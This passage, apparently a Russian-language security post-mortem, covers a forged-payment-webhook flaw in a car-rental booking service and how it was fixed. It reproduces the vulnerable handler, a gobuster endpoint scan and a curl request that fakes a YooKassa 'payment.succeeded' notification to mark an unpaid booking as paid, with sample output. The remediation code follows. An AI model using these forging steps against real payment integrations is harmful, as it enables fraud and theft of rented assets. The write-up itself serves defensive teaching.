Файл аудита датирован 5 июля 2026 года, фикс смержен 8 июля — три рабочих дня от находки до продакшена. Разберём случай глубже: где именно была ошибка, как её можно было эксплуатировать пошагово, и почему «цифровая подпись» в коротком объяснении для владельца бизнеса — это упрощение реального механизма, который стоит понимать точно.
Что искали и что нашли
Задача аудита — пройтись по цепочке «бронирование → оплата → подтверждение» и проверить, где сервис доверяет данным, которые теоретически может подделать пользователь. Платёжный контур обычно проверяется в первую очередь: там либо деньги, либо их имитация.
Сервис принимал уведомления об оплате на эндпоинт вида:
POST /payments/webhook/yukassa HTTP/1.1
Host: rent-service.example
Content-Type: application/json
{
"event": "payment.succeeded",
"object": {
"id": "2d123abc-000f-5000-a000-1234567890ab",
"status": "succeeded",
"paid": true,
"amount": {"value": "15000.00", "currency": "RUB"},
"metadata": {"booking_id": "8841"}
}
}
Обработчик, реконструированный по логике из отчёта, выглядел примерно так:
@app.post("/payments/webhook/yukassa")
def yukassa_webhook(request):
data = request.json()
if data["object"]["status"] == "succeeded":
booking_id = data["object"]["metadata"]["booking_id"]
mark_booking_paid(booking_id)
return {"ok": True}
Проблема в одной строке: if data["object"]["status"] == "succeeded". Никакой проверки, что запрос действительно пришёл от ЮKassa. Ни сверки IP-адреса отправителя, ни обратного запроса к API платёжной системы для подтверждения статуса платежа по id. Классический CWE-345 — Insufficient Verification of Data Authenticity, в терминах OWASP API Security Top 10 это A08:2021 (Software and Data Integrity Failures) применительно к API.
Отдельно стоит зафиксировать техническую точность: у ЮKassa нет HMAC-подписи вебхука в теле или заголовках, как, например, у Stripe. Официальная рекомендация ЮKassa — проверять запрос по одному из двух способов: сверять IP-адрес отправителя со списком их технических подсетей (в частности 185.71.76.0/27, 185.71.77.0/27, 77.75.153.0/25, 77.75.156.11, 77.75.156.35, 77.75.154.128/25) либо, что надёжнее, делать обратный запрос к API ЮKassa: GET /v3/payments/{payment_id} с Basic Auth по shopId/secretKey и сверять статус, сумму и id заказа с тем, что пришло в вебхуке. В аудируемом сервисе не делалось ни то, ни другое — отсюда и упрощённая формулировка «подпись» в публичном разборе для нетехнической аудитории, а по факту закрывали именно отсутствие верификации источника и содержимого.
Как это эксплуатируется
Шаг 1 — найти эндпоинт. На реальном пентесте это делается брутфорсом типовых путей платёжных интеграций:
gobuster dir -u https://rent-service.example \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-x json -t 40
===============================================================
/payments (Status: 200) [Size: 27]
/payments/webhook (Status: 405) [Size: 0]
/payments/webhook/yukassa (Status: 405) [Size: 0]
===============================================================
405 на GET подтверждает, что путь существует и ждёт POST — типичный признак вебхук-хендлера. Дополнительно эндпоинт легко находится по паттерну в открытых JS-бандлах фронтенда или в публичной документации интеграции ЮKassa, где путь webhook часто называют предсказуемо.
Шаг 2 — создать легитимную бронь через обычный флоу сайта, чтобы получить реальный booking_id, но не оплачивать её.
Шаг 3 — отправить поддельное уведомление напрямую на вебхук, минуя ЮKassa вообще:
curl -X POST https://rent-service.example/payments/webhook/yukassa \
-H "Content-Type: application/json" \
-d '{
"event": "payment.succeeded",
"object": {
"id": "fake-payment-0001",
"status": "succeeded",
"paid": true,
"amount": {"value": "15000.00", "currency": "RUB"},
"metadata": {"booking_id": "8841"}
}
}'
HTTP/1.1 200 OK
{"ok": true}
Ответ 200 OK и статус брони в личном кабинете мгновенно переключается на «оплачено». Никакого списания денег не произошло — запрос ушёл напрямую с ноутбука атакующего, а не из инфраструктуры ЮKassa. В логах nginx это выглядело бы так же безобидно, как обычный трафик:
10.20.30.40 - - [05/Jul/2026:14:12:03 +0300] "POST /payments/webhook/yukassa HTTP/1.1" 200 15 "-" "curl/8.4.0"
User-Agent curl/8.4.0 с не-российского или не платёжного IP — уже красный флаг, но без правила детекции на это никто не смотрит: запрос успешный, ответ 200, алертов нет.
Что и почему сработало бы дальше
Дальше атака масштабируется без всякой изощрённости:
- Массовая бесплатная бронь. Скрипт из десятка строк перебирает свежесозданные
booking_idи помечает их оплаченными пачкой — весь парк из 40 машин можно «выкупить» за минуты. - Невозврат автомобиля. Человек, изначально не планировавший платить, забирает машину — это уже не просто недополученная выручка, а прямой актив компании, который может не вернуться, плюс расходы на розыск, юристов, страховые случаи без покрытия аренды.
- Индустриализация схемы. Тот же трюк легко продать как услугу — «бесплатная аренда» в тематических чатах, что резко увеличивает число одновременных фиктивных броней и делает инцидент публичным раньше, чем компания успеет среагировать.
- Побочный DoS. Даже без злого умысла нагрузочный скрипт, повторяющий payment.succeeded по всем id подряд, может завалить эндпоинт запросами и создать проблемы с производительностью.
Ключевой момент: эксплуатация не требует ни SQL-инъекции, ни брутфорса паролей, ни обхода WAF — только знание одного публичного URL и структуры JSON, которую легко подсмотреть в документации ЮKassa или в перехваченном легитимном запросе через Burp Suite при обычном бронировании с реальной оплатой в один рубль.
Как закрыли
Фикс укладывается в несколько конкретных шагов, без миграции БД и без простоя.
1. Верификация источника через обратный запрос к API ЮKassa
import requests
from requests.auth import HTTPBasicAuth
def verify_payment(payment_id: str) -> dict:
resp = requests.get(
f"https://api.yookassa.ru/v3/payments/{payment_id}",
auth=HTTPBasicAuth(SHOP_ID, SECRET_KEY),
timeout=5,
)
resp.raise_for_status()
return resp.json()
@app.post("/payments/webhook/yukassa")
def yukassa_webhook(request):
data = request.json()
payment_id = data["object"]["id"]
# запрашиваем реальный статус у ЮKassa, а не берём его из тела запроса
real_payment = verify_payment(payment_id)
if real_payment["status"] != "succeeded":
log_suspicious("status mismatch", payment_id)
return {"ok": False}, 400
booking_id = real_payment["metadata"]["booking_id"]
expected_amount = get_booking_amount(booking_id)
if real_payment["amount"]["value"] != expected_amount:
log_suspicious("amount mismatch", payment_id)
return {"ok": False}, 400
mark_booking_paid(booking_id)
return {"ok": True}
Теперь тело входящего запроса используется только как триггер «сходи и проверь», а не как источник истины. Даже если атакующий пришлёт идеальный поддельный JSON, сервер обратится к API ЮKassa за реальным payment_id, которого не существует — и получит 404.
2. IP-фильтрация на уровне nginx как второй эшелон
geo $yukassa_ip {
default 0;
185.71.76.0/27 1;
185.71.77.0/27 1;
77.75.153.0/25 1;
77.75.156.11 1;
77.75.156.35 1;
77.75.154.128/25 1;
}
location /payments/webhook/yukassa {
if ($yukassa_ip = 0) {
return 403;
}
proxy_pass http://backend;
}
Это не заменяет проверку через API — IP-подсети можно подделать спуфингом за прокси, если инфраструктура не проверяет их корректно — но отсекает основную массу «дешёвых» попыток ещё до бизнес-логики.
3. Мониторинг подозрительных запросов
Уведомление в мессенджер владельцу настроили на каждое несовпадение статуса, суммы или на запрос с payment_id, которого нет в системе ЮKassa — то есть именно на попытку повторить трюк, а не на легитимный трафик.
4. Тесты на оба сценария
def test_webhook_rejects_forged_payment(client, mock_yukassa_api):
mock_yukassa_api.get.return_value = {"status": "pending"}
resp = client.post("/payments/webhook/yukassa", json=fake_payload("succeeded"))
assert resp.status_code == 400
assert get_booking_status(8841) != "paid"
def test_webhook_accepts_real_payment(client, mock_yukassa_api):
mock_yukassa_api.get.return_value = real_payload("succeeded")
resp = client.post("/payments/webhook/yukassa", json=real_payload("succeeded"))
assert resp.status_code == 200
assert get_booking_status(8841) == "paid"
Сознательно не тронули логику повторной обработки одного и того же payment_id — идемпотентность вебхука. Если ЮKassa по какой-то причине продублирует уведомление, бронь пометится оплаченной дважды без побочных эффектов, но не защищена от гонки состояний при параллельных запросах. Это отдельная, менее критичная задача: без проверки источника её чинить было бессмысленно, а делать одновременно с фиксом безопасности — увеличивать площадь регресса на проде перед высоким сезоном.
Что в итоге
Дыра не требовала эксплойтов из метасплойта или брутфорса паролей — только базовое понимание того, что вебхук-эндпоинты часто проектируют, думая о happy path, а не о том, что в тело запроса может прилетет
